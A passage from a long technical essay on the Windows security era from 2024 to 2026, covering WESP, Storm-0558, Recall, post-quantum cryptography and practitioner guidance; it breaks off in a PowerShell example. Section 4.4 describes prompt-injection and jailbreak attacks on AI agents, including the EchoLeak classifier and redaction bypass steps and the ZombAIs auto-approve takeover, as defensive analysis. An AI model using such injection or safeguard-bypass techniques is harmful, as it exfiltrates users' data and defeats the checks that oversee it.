Note: Microsoft has not publicly committed to a hard "AV kernel-driver ban" date. The April 2026 update is a driver-loading-policy change with a Code Integrity-anchored evaluation window (100 runtime hours plus 2 or 3 restarts before policy activates) [@techcommunity-cross-signing], not a categorical AV kernel-driver eviction. WHCP-certified kernel drivers continue to load. Conflating WESP with the Cross-Signing trust deprecation is a recurring citation-audit failure: they are separate primitives that are part of the same multi-year transition.

If the OS layer kept hardening while the layer above became the soft spot, the AI agent layer is the youngest version of the same pattern -- and the era is producing its first CVE-grade exemplars in real time.

4.4 AI threat-model arrivals

The fourth thread is the youngest. By mid-2024 the agentic-AI persistence catalog was beginning to populate in the CVE database, and Microsoft, Apple, Google, and Anthropic were converging on a structural admission: no existing operating-system primitive knows how to enforce policy on an AI agent's judgment.

The substrate arrived in pieces. May 20, 2024 brought the Copilot+ PC announcement and the NPU as a programmable local surface [@copilot-pcs-may-20]. June 10, 2024 brought Apple's Private Cloud Compute design paper, whose five core requirements -- stateless computation, enforceable guarantees, no privileged runtime access, non-targetability, and verifiable transparency -- now anchor every "what would attested AI infrastructure look like" conversation in the industry [@apple-pcc]. June 26, 2024 brought Microsoft's first public write-up of a multi-turn jailbreak class -- Skeleton Key, originally demonstrated by Mark Russinovich at Microsoft Build 2024Russinovich's stage demo called the technique "Master Key"; the MSRC blog renamed it "Skeleton Key" for public disclosure on June 26, 2024 [@ms-skeleton-key]. -- and the corresponding Prompt Shields mitigation in Azure AI Content Safety [@ms-skeleton-key] [@jailbreak-detection-shields]. August 8, 2024 brought Michael Bargury's Black Hat USA sessions "15 Ways to Break Your Copilot" and "Living off Microsoft Copilot," where Bargury demonstrated SharePoint-RAG-grounded exfiltration chains and the LOLCopilot tool that used a victim's own Copilot to write spear-phishing email in the victim's writing style [@mbgsec-bargury-pdf] [@thurrott-bargury] [@theregister-bargury].

The CVE catalog populated through 2025-2026. The single most consequential entry is EchoLeak (CVE-2025-32711) -- a single-email, zero-click data-exfiltration chain against Microsoft 365 Copilot disclosed by Aim Labs in June 2025 [@aim-labs-echoleak] [@nvd-cve-32711]. SecurityWeek's reporting captures the structural achievement: "In order to execute an EchoLeak attack, the attacker has to bypass several security mechanisms, including cross-prompt injection attack (XPIA) classifiers" [@securityweek-echoleak]. Sentra's reconstruction enumerates the four bypasses: the XPIA classifier was evaded by phrasing the malicious instructions as if addressed to the human recipient; Copilot's link-redaction was circumvented with reference-style Markdown; the email client's automatic image pre-fetch was used to trigger an exfiltration request; and Microsoft Teams' asynchronous preview API -- an allowed domain under Copilot's Content Security Policy -- was used to proxy the exfiltrated data to the attacker [@sentra-echoleak]. Microsoft classified the vulnerability "critical" with CVSS 9.3 and patched it server-side with no customer action required [@checkmarx-echoleak] [@securityweek-echoleak].

flowchart TD A["Attacker email lands in user inbox"] --> B["XPIA classifier bypass via direct-to-user phrasing"] B --> C["RAG retrieval pulls email into Copilot context"] C --> D["Markdown reference-style link bypass of redaction"] D --> E["Automatic image pre-fetch triggers exfiltration request"] E --> F["Teams preview API as allowed CSP domain proxies data"] F --> G["Attacker receives sensitive M365 content"] Per OWASP LLM01, the class of attacks in which adversary-controlled text fed into a large language model causes the model to take an action the system designer did not intend [@owasp-llm-top10]. Indirect prompt injection is the subclass in which the malicious text reaches the model through retrieved context (RAG, web fetch, email body) rather than the user's prompt directly. EchoLeak is the canonical indirect-prompt-injection chain against an LLM-application-layer agent.

The catalog around EchoLeak is now substantial. PromptJacking is Koi Security's collective name for three Anthropic Claude Desktop extension RCE vulnerabilities (Chrome, iMessage, and Apple Notes connectors) -- AppleScript injection from a maliciously crafted URL, rated CVSS 8.9 by Anthropic, fixed in version 0.1.9 in September 2025 [@koi-promptjacking] [@infosec-magazine-promptjacking]. ShadowPrompt, disclosed by Koi Security on March 26, 2026, chained a wildcard origin allowlist (*.claude.ai) in the Claude Chrome extension with a DOM-based XSS in an Arkose Labs CAPTCHA hosted on a-cdn.claude.ai to let any website silently inject prompts; the extension had over 3 million users at the time of disclosure [@koi-shadowprompt]. CVE-2025-53773 -- "ZombAIs" -- is a GitHub Copilot RCE via prompt-injection-controlled writes to .vscode/settings.json that enable chat.tools.autoApprove ("YOLO mode") and grant the agent unrestricted shell access [@nvd-cve-53773] [@cybersecuritynews-copilot-rce].

CVE or named class	Affected agent	Structural bound exploited	Mitigation status
EchoLeak (CVE-2025-32711) [@nvd-cve-32711]	Microsoft 365 Copilot	LLM Scope Violation -- agent treats retrieved context as trusted	Server-side patch June 2025 [@securityweek-echoleak]
PromptJacking (CVSS 8.9) [@koi-promptjacking]	Claude Desktop extensions	Unsanitized AppleScript template interpolation	Fixed in version 0.1.9 [@infosec-magazine-promptjacking]
ShadowPrompt [@koi-shadowprompt]	Claude Chrome extension	Wildcard origin allowlist plus third-party CAPTCHA XSS	Origin checks tightened in 1.0.41
CVE-2025-53773 (ZombAIs) [@nvd-cve-53773]	GitHub Copilot agent	Agent writes own configuration; YOLO-mode toggle	Patched [@cybersecuritynews-copilot-rce]
Skeleton Key / Master Key [@ms-skeleton-key]	Azure-managed LLMs	Multi-turn safety-policy override	Prompt Shields mitigation [@jailbreak-detection-shields]
Living off Microsoft Copilot [@mbgsec-bargury-pdf]	Microsoft 365 Copilot tenant	RAG-grounded post-compromise abuse	Phillip Misner: "similar to other post-compromise techniques" [@thurrott-bargury]

Aim Labs coined the phrase "LLM Scope Violation" for the EchoLeak chain. The vocabulary matters: the bug is not that the model failed a safety filter; it is that the model treated retrieved content as instruction. Anthropic's mid-2025 research note frames the structural caveat in similar terms: "prompt injection is far from a solved problem, particularly as models take more real-world actions... every webpage an agent visits is a potential vector for attack" [@anthropic-prompt-injection].

The taxonomies these CVEs are graded against are themselves new. OWASP published its Top 10 for Large Language Model Applications in 2023 and refreshed it in 2025 [@owasp-llm-top10]; NIST released the AI Risk Management Framework in January 2023 and the GenAI-specific Profile (AI 600-1) in July 2024 [@nist-ai-rmf] [@nist-ai-600-1]. Both treat prompt injection as a first-class class. Neither is a normative standard the way RFC 8725 is for JWTs.

Note: The structural bound EchoLeak demonstrates is general: any LLM agent that reads adversary-controllable text and can take an action -- write, send, fetch, execute -- has the structural template. Composition (cage plus input filter plus output filter) reduces blast radius; it does not eliminate the class.

If the AI agent's judgment is now a trust principal, the defensive arrivals across the era are the OS-layer hardening that the layer-above-the-OS soft spots are contrasted against. The next subsection inventories them so the state-of-the-art section can evaluate the whole stack.

4.5 Defensive arrivals across the era

The fifth thread runs underneath the other four. While the layer above the OS was failing publicly, the OS layer itself kept hardening -- across hardware roots of trust, on-device confidentiality, identity-side enforcement, and the cryptographic substrate.

Pluton expanded. The November 2020 Microsoft-AMD-Intel-Qualcomm joint announcement is the prior context, AMD Ryzen 6000 in 2022 was the first PC-class shipment, and Intel Core Ultra Series 2 (Lunar Lake, GA September 24, 2024) brought Pluton-as-Partner-Security-Engine to mainstream Intel mobile silicon [@pluton-docs]. Microsoft moved Pluton firmware servicing to the OS update channel, decoupling security-critical TPM-and-RoT updates from OEM BIOS-release cadences. Personal Data Encryption -- the per-user, per-file successor to EFS that uses Windows Hello to derive the file-encryption key -- shipped as a default-on option on Windows 11 24H2. Continuous Access Evaluation became the default revocation primitive for Microsoft 365 services, providing roughly 3-minute token-revocation latency in place of the prior cache-bound model [@cae-docs] [@openid-sse].

The cryptographic substrate finalized. On August 13, 2024, NIST published FIPS 203 (ML-KEM, the Module-Lattice-Based Key Encapsulation Mechanism standard) [@fips-203], FIPS 204 (ML-DSA, the Module-Lattice-Based Digital Signature standard) [@fips-204], and FIPS 205 (SLH-DSA, the Stateless Hash-Based Digital Signature standard) [@fips-205], with the Federal Register notice following on August 14, 2024 [@federal-register-pq].

The three NIST-standardized post-quantum primitives finalized August 13, 2024. ML-KEM (FIPS 203) is the lattice-based key encapsulation mechanism; ML-DSA (FIPS 204) is the lattice-based digital signature standard; SLH-DSA (FIPS 205) is the hash-based signature standard that hedges against future lattice-attack discoveries [@fips-203] [@fips-204] [@fips-205]. NIST chose three families precisely because no single family has both the security-margin and the performance properties needed for every Windows surface.

Microsoft's SymCrypt cryptographic library shipped ML-KEM and ML-DSA implementations; SChannel began previewing TLS 1.3 with ML-KEM hybrid key exchange; DPAPI-NG envelope-key migration to ML-KEM is in research; Kerberos post-quantum migration is named in the SFI April 2025 progress report as a multi-year program [@sfi-apr-2025]. The eight Windows AI updates published in coordination on April 25, 2025 captured the parallel: responsible AI commitments, Phi Silica multimodal, and Copilot+ PC AI features shipped together as a single coordinated public moment [@blogs-windows-apr25-2025].

FIPS 206 -- the FN-DSA standard derived from FALCON -- remains in draft as of May 2026; the URL csrc.nist.gov/pubs/fips/206/ipd returns HTTP 404 because NIST has not published an Initial Public Draft. Anyone needing a current status should look at the NIST Post-Quantum Cryptography project page rather than the per-FIPS page.

The defensive arrivals are real and substantial. They do not change the article's thesis -- they harden the OS layer (Pluton, VBS, PDE, Driver Block List) and the cryptographic substrate (PQC). The thesis is about what happens above the OS layer.

Five threads. One inflection. The question the next section must answer: what architectural insight ties them together?

5. The Insight

Three insights define the era. The article's thesis is the first; the other two are the context that makes the first ring true. All three must be named because the era's actual insight is that all three are true simultaneously and reinforce each other.

The third-party kernel privilege insight

The first insight is the article's thesis. The CrowdStrike outage refuted the 2006-2009 EU-engagement assumption that AV and EDR vendors needed kernel access to be effective by demonstrating a failure mode the argument did not address: a non-malicious data-parsing bug inside a privileged third-party kernel driver, no attacker involved, 8.5 million hosts offline, roughly 5.4 billion dollars in Parametrix-estimated direct losses to US Fortune 500 [@ms-weston-jul20-2024] [@cso-hints-kernel] [@crowdstrike-rca-pdf]. The Windows Endpoint Security Platform is the architectural answer: a sanctioned user-mode EDR API surface (tamper-protected, performance-equivalent target, MVI-3.0-gated) co-engineered with the major AV vendors [@wri-jun26-2025]. The April 14, 2026 Cross-Signing Program trust deprecation closes the legacy escape hatch [@techcommunity-cross-signing]. Together, they are a quiet admission that the 25-year settlement was a compromise the era's evidence has now made unsustainable.

flowchart TD subgraph Kernel ["Kernel (OS-owned)"] K1["ETW providers"] --> K2["Event broker"] K3["Process and file telemetry"] --> K2 end K2 --> U1["Tamper-protected user-mode service"] subgraph User ["User mode (vendor-owned)"] U1 --> U2["Vendor detection logic"] U2 --> U3["Vendor action API call"] end U3 --> Kernel L["Vendor channel-file or model update"] --> U2

The institution-is-the-boundary insight

The second insight is what Storm-0558 plus the CSRB verdict prove together: the vendor's internal security culture is part of the platform's attack surface for every downstream customer. The unrotated 2016 MSA signing key was not a bug; it was a decision (or a default) made inside Microsoft about how long signing keys lived and how they were stored. The missing OWA issuer-validation check was not a bug; it was an architectural assumption developers made about which libraries handled which validation steps. The Secure Future Initiative is the first time a platform vendor has publicly bet executive compensation and the cross-progress-report engineering commitments enumerated in §4.1 on this insight at the corporate level [@sfi-sept-2024] [@sfi-apr-2025] [@sfi-nov-2025-windows].

The AI agent is a new trust principal insight

The third insight is what the Recall saga is the first widely public worked example of. An AI feature whose threat model is not covered by AppContainer, VBS, TPM, or DPAPI alone forced Microsoft to invent a new pattern: VBS Enclave plus Windows Hello ESS gating plus TPM-rooted device key plus in-enclave content filtering, with explicit acknowledgement that the UI plane that decrypts content for display is, by Microsoft's own Security Servicing Criteria, not a security boundary [@recall-davuluri-sept27-2024] [@msrc-servicing-criteria] [@hello-ess-docs] [@vbs-enclaves-docs]. The April 2026 TotalRecall Reloaded disclosure proves the boundary holds at the vault and breaks at the delivery truck, exactly as the September 2024 design predicted it would [@itnews-totalrecall-reloaded]. The agentic-AI CVE catalog -- EchoLeak, PromptJacking, ShadowPrompt, ZombAIs -- shows the broader version of the same pattern: existing primitives can sandbox the agent's process and protect its data; none of them knows how to enforce policy on the agent's decisions.

Key idea: The three insights are not separable. The institutional failure (Storm-0558), the kernel-architectural failure (CrowdStrike), and the AI-trust-model failure (Recall and the EchoLeak class) are one architectural inflection seen from three angles: the layer above the OS has become the soft layer, and the OS-layer primitives Microsoft spent 25 years building do not extend upward into it. WESP, SFI, and the Recall Generation-3 architecture are Microsoft's first sustained engineering re-architecture of all three soft spots in parallel.

The thesis foregrounds the third-party kernel privilege insight because CrowdStrike is the single most measurable evidence -- the §4.3 numbers above, plus the Delta cancellations and the April 14, 2026 Cross-Signing trust deprecation. The other two are the context that explains why the layer above the OS is now the soft layer in multiple different ways.

If those three insights are right, what does the actual production deployment picture look like in May 2026? Six surfaces. The next section walks each one.

6. State of the Art, May 2026

May 2026 is the first calendar window in which all three soft-layer responses are simultaneously visible in production deployment, sanctioned private preview, or public roadmap. Six surfaces have to be evaluated together.

Identity. MSA and Entra ID signing keys live in hardware-backed security modules with automatic rotation [@azure-managed-hsm]; the MSA signing service runs in Azure Confidential VMs and Entra ID signing service migration is in progress [@sfi-apr-2025] [@azure-confidential-vm]. Microsoft's April 2025 progress report states that 90% of Entra ID tokens for Microsoft's own apps validate through the hardened identity SDK [@sfi-apr-2025]. Continuous Access Evaluation is the default revocation primitive for Microsoft 365 [@cae-docs]. Kerberos and SChannel post-quantum migration roadmaps are public; ML-DSA code-signing is in research.

Endpoint. Windows 11 24H2 RTM'd on October 1, 2024 for broad SKUs (Copilot+ PCs reached the same RTM on June 18, 2024, without Recall) [@copilot-pcs-may-20]. Windows 11 25H2 is in market. Windows 10 went end-of-life on October 14, 2025 [@ms-windows10-lifecycle]. Smart App Control ships default-on for new installs; Personal Data Encryption is generally available; Application Security Reduction rules cover AI-feature exclusions; Recall is GA on Snapdragon, AMD, and Intel Copilot+ silicon [@recall-manage-docs].

Antivirus and EDR. The Windows Endpoint Security Platform is in MVI 3.0 private preview as of July 2025 with Bitdefender, CrowdStrike, ESET, SentinelOne, Sophos, Trellix, Trend Micro, and WithSecure participating [@ms-securityweek-wesp] [@wri-jun26-2025]. Defender is already user-mode-capable. The April 14, 2026 Windows security update has begun the Cross-Signing Program trust deprecation in evaluation mode with the 100-runtime-hour and 2-or-3-restart criteria; WHCP-only enforcement is opt-in [@techcommunity-cross-signing] [@april-2026-driver-kb].

On-device AI. Recall Generation-3 is the worked example of the VBS Enclave plus TPM-rooted plus Windows Hello ESS gating pattern [@recall-davuluri-sept27-2024]. Copilot Vision and the on-device agent surface inherit the same template. Azure AI Content Safety Prompt Shields are the input-filter substrate for prompt-injection mitigation [@jailbreak-detection-shields]. OWASP LLM Top 10 [@owasp-llm-top10] and NIST AI RMF [@nist-ai-rmf] [@nist-ai-600-1] are the threat-class taxonomies.

Hardware. Pluton is across all three major x86 vendors plus Snapdragon: AMD Ryzen 6000+; Intel Core Ultra Series 2 and Series 3 with Partner Security Engine; Qualcomm Snapdragon 8cx Gen 3 and X Series [@pluton-docs]. Pluton firmware on 2024+ AMD and Intel ships through the OS update servicing channel. Per the November 2025 SFI report, Surface UEFI firmware and Windows drivers are being rewritten in Rust [@sfi-nov-2025-windows].

Cryptography. SymCrypt-OpenSSL ships with ML-KEM and ML-DSA. TLS 1.3 with ML-KEM hybrid key exchange is in SChannel preview. DPAPI-NG envelope-key migration to ML-KEM is in research [@sfi-apr-2025] [@fips-203] [@fips-204].

Cross-platform comparison

The state of the art is plural. Apple has shipped a user-mode Endpoint Security Framework since macOS 10.15 in October 2019 [@apple-esf-docs]; the Windows transition is catching up to an existing platform precedent rather than inventing the architecture. For cloud-attested AI confidentiality, Apple Private Cloud Compute is the published reference design [@apple-pcc]. For kernel-resident EDR with constrained programmability, the Linux eBPF route -- Falco and Tetragon -- is a credible third option [@falco-docs] [@tetragon-docs]. Microsoft maintains an eBPF for Windows project that targets networking-class use cases, not EDR-class collection, so eBPF is not a third Windows option as of May 2026 [@ms-ebpf-for-windows].

Surface	Microsoft 2026 position	Apple peer	Linux peer	Status
Identity-token custody	Managed HSM + Confidential VMs [@azure-managed-hsm]	iCloud Keychain, ADP	AWS CloudHSM [@aws-cloud-hsm]	Live, post-Storm-0558
EDR architecture	WESP user-mode, MVI 3.0 private preview [@wri-jun26-2025]	ESF, GA since macOS 10.15 [@apple-esf-docs]	eBPF: Falco, Tetragon [@falco-docs] [@tetragon-docs]	Private preview
On-device AI confidentiality	Recall: VBS Enclave + TPM + Hello ESS [@recall-davuluri-sept27-2024]	On-device Apple Intelligence	None equivalent	GA May 2025
Cloud-attested AI	M365 Copilot tenant boundary; Confidential Inferencing roadmap	Private Cloud Compute [@apple-pcc]	None equivalent	Apple ahead
Hardware RoT	Pluton (AMD, Intel, Qualcomm) [@pluton-docs]	Secure Enclave Processor	Various (Google Titan, AWS Nitro)	Pluton ahead on PC
Post-quantum	SymCrypt ML-KEM, ML-DSA; TLS preview [@fips-203] [@fips-204]	CryptoKit ML-KEM, iMessage PQ3	Liboqs, OpenSSL providers	Industry parity

Falco's ADOPTERS.md lists Booz Allen Hamilton, Frame.io, GitLab, MathWorks, Secureworks, Skyscanner, Sumo Logic, and Shopify as production adopters as of May 2026 [@falco-adopters]. Earlier write-ups frequently named Google, Netflix, and Pinterest; that list is incorrect against the current file.

Microsoft's distinctive bet is the institution-plus-kernel-architecture-plus-AI-trust-model triple. No peer matches at all three layers simultaneously. Apple has the cleanest user-mode EDR story and the cleanest cloud-attested AI story; it does not have a public equivalent to SFI's institutional commitments at the corporate-governance level. Linux has the most flexible kernel-residency-with-constrained-programmability story for EDR; it has no equivalent to the Recall-style on-device AI feature plane because no Linux desktop ships such a feature at scale.

The state of the art is plural. Three real and live disagreements remain unresolved as of May 2026, and they sit at the heart of where the field goes next.

7. Competing Approaches

Three real and live disagreements as of May 2026. The article's thesis takes a position on the first; the other two are honestly named as open.

Inside the kernel or outside

The first disagreement sits at the heart of the article's thesis. Microsoft and Apple converge on outside-the-kernel as the strategic answer -- WESP on the Windows side [@wri-jun26-2025], the Endpoint Security Framework on the macOS side, generally available since October 2019 [@apple-esf-docs]. Linux's eBPF-based EDR architectures are a third option that combines kernel-residency with constrained programmability -- the eBPF verifier rejects programs that can crash the kernel before they load [@falco-docs] [@tetragon-docs]. CrowdStrike, SentinelOne, and Sophos all have public commitments to the WESP user-mode path while continuing to ship kernel components during the transition [@ms-securityweek-wesp].

The trade-offs are honest. In-kernel sees more, runs faster on the hot paths, and can intervene at lower latency. User-mode cannot crash the OS, can be sandboxed, and trades blast radius for visibility. eBPF tries to take both: kernel-residency speed plus a static verifier that bounds what the program can do.

Architecture	Visibility	Blast radius	Latency	Attestation	Deployment status
Legacy in-kernel third-party	Highest	Whole OS BSOD risk (CrowdStrike-class)	Lowest	KMCS + WHCP	Default through April 2026; cross-signing trust deprecated [@techcommunity-cross-signing]
WESP user-mode (Windows)	High via OS-provided ETW + brokers [@wri-jun26-2025]	User-mode service restart	Higher than kernel-mode	OS-attested user-mode service	MVI 3.0 private preview [@ms-securityweek-wesp]
Apple ESF (macOS)	High via system extensions [@apple-esf-docs]	User-mode extension only	Higher than kernel-mode	macOS notarization	GA since 10.15
eBPF (Linux: Falco, Tetragon) [@falco-docs] [@tetragon-docs]	High; in-kernel programs	Verifier-bounded; cannot crash kernel	Near kernel-mode	None standardized	Production at Booz Allen, GitLab, MathWorks [@falco-adopters]

The article's thesis takes the position that the CrowdStrike proof case has settled the trade-off in favor of out-of-kernel for the general AV and EDR class. The lingering question is whether eBPF-style constrained programmability is a viable third option in the Windows lineage. Microsoft's eBPF for Windows repository targets networking, not EDR collection [@ms-ebpf-for-windows]; nothing in the public roadmap suggests that changes before Part 7.

Hardware-rooted on-device or cloud-attested

The second disagreement sits at the boundary of confidential computing and AI inference. Apple's Private Cloud Compute bets that the heavy AI inference belongs in attested confidential-VM cloud nodes -- five core requirements (stateless computation, enforceable guarantees, no privileged runtime access, non-targetability, verifiable transparency) [@apple-pcc]. Microsoft (Recall, Copilot+ on-device inference) and Google bet on hardware-rooted on-device enclaves; the Recall Generation-3 architecture is the worked Windows example [@recall-davuluri-sept27-2024]. The trade-offs are latency, privacy-by-non-transmission, the hardware-attestation surface, and the harder question of what happens when the model itself becomes sensitive intellectual property the device must protect from the device's own owner.

Whether the AI trust boundary can be formalized at all

The third disagreement is the hardest. Anthropic's published prompt-injection research note acknowledges directly that prompt injection is "far from a solved problem" and that "every webpage an agent visits is a potential vector for attack" [@anthropic-prompt-injection] [@anthropic-claude-chrome]. The structural question is whether the AI-agent-as-trust-principal model can be made architecturally safe at all, or whether the only durable answer is to keep the agent in a strict permission cage along the lines of the iOS App Sandbox model or Win32 App Isolation [@app-isolation]. The article must name this disagreement as live, not pretend it is resolved.

Microsoft's eBPF for Windows repository describes itself as a work in progress to bring existing eBPF toolchains and APIs from the Linux community to Windows [@ms-ebpf-for-windows]. As of May 2026 the project targets networking use cases. It is not yet a Windows-side answer to Falco or Tetragon.

Some bounds in the era are honest disagreements; others are mathematical. The next section walks the limits that cannot be argued away.

8. Theoretical Limits

Some of the era's bounds are not engineering deficits. They are mathematical, physical, or structural -- and naming them honestly is the only way to evaluate the era's architecture without sliding into apologist framing.

The Forshaw bound on Recall

James Forshaw's June 3, 2024 post named a bound that the April 2026 TotalRecall Reloaded disclosure confirmed empirically: any privilege escalation, or any non-security boundary, is sufficient to leak Recall's data because the user account that owns the data is also the principal that runs the AI feature that decrypts it [@forshaw-acl-jun3-2024]. The Generation-3 architecture pushes the key into a VBS Enclave bound to a TPM-released device key gated by Windows Hello ESS [@recall-davuluri-sept27-2024]; what it cannot do is hide the decrypted plaintext from the AI host process that has to render it. Microsoft's own Security Servicing Criteria treats same-user post-authentication as not a security boundary [@msrc-servicing-criteria]. TotalRecall Reloaded attacked exactly that delivery-truck process -- the AIXHost.exe renderer -- and Microsoft determined the technique "operates within the current, documented security design of Recall" [@itnews-totalrecall-reloaded]. The §4.2 vault-and-delivery-truck framing is the empirical anchor for the Forshaw bound's general form.

The trusted-insider-with-physical-access bound on hardware enclaves

No hardware-rooted on-device confidentiality survives the device-physically-compromised attacker over a long enough adversarial window. Pluton, Hello ESS, and VBS Enclaves all raise the cost of attack; they do not eliminate it. The architectural goal is to make the attack expensive enough that mass-scale attacks become uneconomical, not to prove that no attack exists.

The 4096-byte problem in post-quantum signatures

NIST standardized three post-quantum signature families precisely because no single family has both the security-margin and the performance properties needed for every Windows surface. ML-KEM (FIPS 203) is fast but lattice-only [@fips-203]. SLH-DSA (FIPS 205) is hash-based and hedges against future lattice attacks at the cost of signatures large enough to be impractical for many surfaces [@fips-205]. ML-DSA (FIPS 204) is the workhorse but inherits the lattice-attack-class uncertainty SLH-DSA is meant to hedge against [@fips-204].

The hardware bound is concrete. Per FIPS 204 final, ML-DSA-44 produces 2,420-byte signatures, ML-DSA-65 produces 3,309-byte signatures, and ML-DSA-87 produces 4,627-byte signatures [@fips-204-pdf] [@encryptionconsulting-fips204]. The TPM 2.0 Library Specification sets the default command and response buffer at 4,096 bytes (TPM2_MAX_COMMAND_SIZE and TPM2_MAX_RESPONSE_SIZE in the Implementation-Dependent Constants table) [@tcg-tpm2-spec] [@tpm2-tss-types]. The arithmetic is unforgiving: $$2{,}420 < 3{,}309 < 4{,}096 < 4{,}627$$ ML-DSA-44 and ML-DSA-65 fit in a default TPM 2.0 buffer; ML-DSA-87 does not. Any Windows surface that wants TPM-resident ML-DSA-87 signing has to either negotiate larger buffer sizes (vendor-specific) or settle for the smaller parameter set and accept a lower classical-security margin.

The previous iteration of this article reported ML-DSA byte sizes as 2,420 (correctly for ML-DSA-44 but mis-labeled for ML-DSA-65) and 4,595 (incorrectly for ML-DSA-87). The corrected sizes from FIPS 204 Appendix B and the EncryptionConsulting cross-attestation are 2,420 / 3,309 / 4,627 [@fips-204-pdf] [@encryptionconsulting-fips204]. The load-bearing inequality -- ML-DSA-65 fits, ML-DSA-87 does not -- survives the correction.

The AI-agent-judgment bound

No existing formal-verification framework knows how to prove safety properties about an AI agent's decision process. The boundary is, by construction, statistical -- and statistical security boundaries are a new thing in the Windows lineage. The composition Microsoft uses today (Win32 App Isolation as the cage [@app-isolation], Prompt Shields as the input filter [@jailbreak-detection-shields], Groundedness Detection and Task Adherence as the output filter, OS-attested enclaves where confidentiality matters) reduces blast radius. It does not eliminate the class. This is the era's defining open theoretical question.

The Rice's Theorem bound on driver validation

Even WESP cannot guarantee that no future user-mode EDR component will introduce a Channel-File-291-class failure. Rice's Theorem says that no general decision procedure exists for non-trivial semantic properties of arbitrary programs; the WESP architectural fix is blast-radius reduction (kernel-mode crash becomes user-mode service restart), not defect elimination. Naming this honestly avoids the apologist failure mode in which WESP gets framed as a solution rather than a mitigation.

Note: WESP changes the consequence of a vendor data-parsing bug from a kernel BSOD into a user-mode service restart. It does not prevent the bug. The right comparison is not "the bug never happens" but "when the bug happens, what is the blast radius." The CrowdStrike Channel File 291 defect in a WESP-architected world is a vendor process that exits and restarts -- the host stays up.

Some of these limits will be relaxed by future engineering; others will not. The next section asks which are live research and which are accepted physical bounds.

9. Open Problems

Where active research and engineering is happening as of May 2026 -- and where the thesis's open forward questions live.

Whether the user-mode EDR API surface is empirically sufficient for the AV and EDR class. WESP is in private preview as of May 2026 [@wri-jun26-2025]. Whether it can match in-kernel EDR for the BYOVD and rootkit attack class is not yet empirically settled. This is the load-bearing open question for the article's thesis. If WESP cannot deliver visibility-equivalent-to-kernel for the rootkit class, the third-party-AV-in-kernel model has not actually ended -- it has only been administratively constrained. The MVI 3.0 private preview cohort is the empirical test bed; the first public benchmark write-ups should arrive in 2026-2027.

Production deployment of post-quantum identity-token signing. Kerberos PKINIT, OAuth-token JWS, SAML XMLDSig -- Apple, Google, and Microsoft all have public roadmaps; none has shipped at production scale to consumer endpoints as of May 2026. Microsoft's SFI April 2025 progress report names Kerberos PQ migration as a multi-year program [@sfi-apr-2025]; the FIPS 203/204/205 finals from August 13, 2024 are the gating standards [@fips-203] [@fips-204] [@fips-205] [@federal-register-pq].

The agentic-AI persistence attack class. The CVE catalog is beginning to populate (EchoLeak [@nvd-cve-32711], PromptJacking [@koi-promptjacking], ShadowPrompt [@koi-shadowprompt], ZombAIs [@nvd-cve-53773], the Bargury chain [@mbgsec-bargury-pdf]). Microsoft's response surface is Win32 App Isolation expansion plus Edge AI Browser sandboxing plus Prompt Shields plus Distinct Agent Accounts (announced in the November 18, 2025 roadmap post) [@nov18-2025-preparing-next] [@app-isolation] [@jailbreak-detection-shields]. An OS-level "policy on AI agent judgment" primitive is not yet visible in production.

Whether SFI's cultural change compounds. The April 2025 and November 2025 progress reports quantify improvement on the identity-token and signing-key axes [@sfi-apr-2025] [@sfi-nov-2025-windows]. Whether the same compounding occurs on the supply-chain, third-party-dependency, and human-OPSEC axes is the next progress report's load-bearing claim. The Hotpatch metric (81% of enrolled devices compliant within 24 hours of Patch Tuesday) [@sfi-nov-2025-windows] is the most measurable single indicator.

The OpenID Foundation Shared Signals Framework is the cross-vendor standardization vehicle for Continuous Access Evaluation equivalents [@openid-sse]; production-grade CAE-equivalent deployments outside the Microsoft 365 boundary are a 2026-2027 open problem.

Whether the Pluton-vs-discrete-TPM bifurcation gets settled. As of May 2026, Dell, Lenovo, and HP still have public reservations about Pluton-as-TPM on enterprise SKUs; the Pluton-as-TPM configurability flag is the live compromise [@pluton-docs]. The default behavior varies by OEM and SKU.

The forward question. Does the WESP rollout land in time for the 2026 ransomware wave? If WESP private preview hardens into GA before the next CrowdStrike-class incident -- malicious or not -- then the institutional response has matched the threat timeline. If it does not, the era's open question becomes the opening question of Part 7.

If those are the open problems, the question for a working practitioner is: what should you actually do today? The next section answers per surface.

10. Practical Guide

What a Windows platform security practitioner should be doing today, per surface. The thesis is the architectural diagnosis; this section is the operational prescription.

Identity. Move your workloads to the hardened identity SDK; require Continuous Access Evaluation on Conditional Access policies; rotate any unrotated long-lived signing keys; verify your tenant's Entra ID and MSA flow is on the post-SFI signing-key infrastructure [@sfi-apr-2025] [@cae-docs].

Endpoint. Default-on Smart App Control on new builds; enable Personal Data Encryption for user-folder protection; deploy Application Security Reduction rules including the AI-feature exclusions; track WESP private-preview availability if you ship an antivirus or EDR product [@wri-jun26-2025].

AV and EDR. If you operate a Windows fleet, audit your kernel-driver dependency surface against the April 2026 vulnerable-driver-blocking list (the psmounterex.sys family is the named exemplar) [@april-2026-driver-kb] [@driver-block-rules]; verify your AV or EDR vendor has a WESP transition roadmap and an MVI 3.0 commitment [@ms-securityweek-wesp]; budget for a 12-to-24-month transition from kernel-mode to user-mode EDR; instrument Event ID 3077 in the Code Integrity log for blocked-driver visibility [@techcommunity-cross-signing].

AI features. Default-off the AI features that store user content (Recall, Copilot Vision history) until you have an enterprise policy; use the Intune Settings Catalog policies for Recall (AllowRecallEnablement, DisableAIDataAnalysis) [@recall-manage-docs]; evaluate prompt-injection exposure for every browser-integrated and Office-integrated AI agent [@anthropic-prompt-injection]; treat the AI agent's network reach as a Conditional Access surface.

Post-quantum. Audit your TLS, IPsec, code-signing, and key-management surfaces for PQ-migration readiness; track Microsoft's published PQ-migration timelines per surface [@sfi-apr-2025]; do not deploy custom ML-KEM or ML-DSA outside NIST-validated libraries [@fips-203] [@fips-204].

Pluton. Verify your hardware-refresh cycle moves to Pluton-capable silicon (AMD Ryzen 6000+; Intel Core Ultra Series 2 and later; Snapdragon 8cx Gen 3 and X Series) [@pluton-docs]; decide your Pluton-as-TPM configuration policy for new procurement; remember "Pluton present" is not "Pluton enabled" -- confirm OEM-exposed TPM type via Get-Tpm plus BIOS toggle inspection.

Two of those operational steps -- the Pluton-as-TPM status check and the Event ID 3077 monitoring -- are concrete enough to demonstrate. The runnable code blocks below are the verifiable form.

{` // PowerShell on Windows: Get-Tpm | Select-Object ManufacturerIdTxt, ManufacturerVersion, ManagedAuthLevel // The JSON below is a representative shape returned by a Pluton-as-TPM machine. const tpm = { ManufacturerIdTxt: "MSFT", ManufacturerVersion: "1.0.0.0", ManagedAuthLevel: "Full", TpmPresent: true, TpmReady: true, };

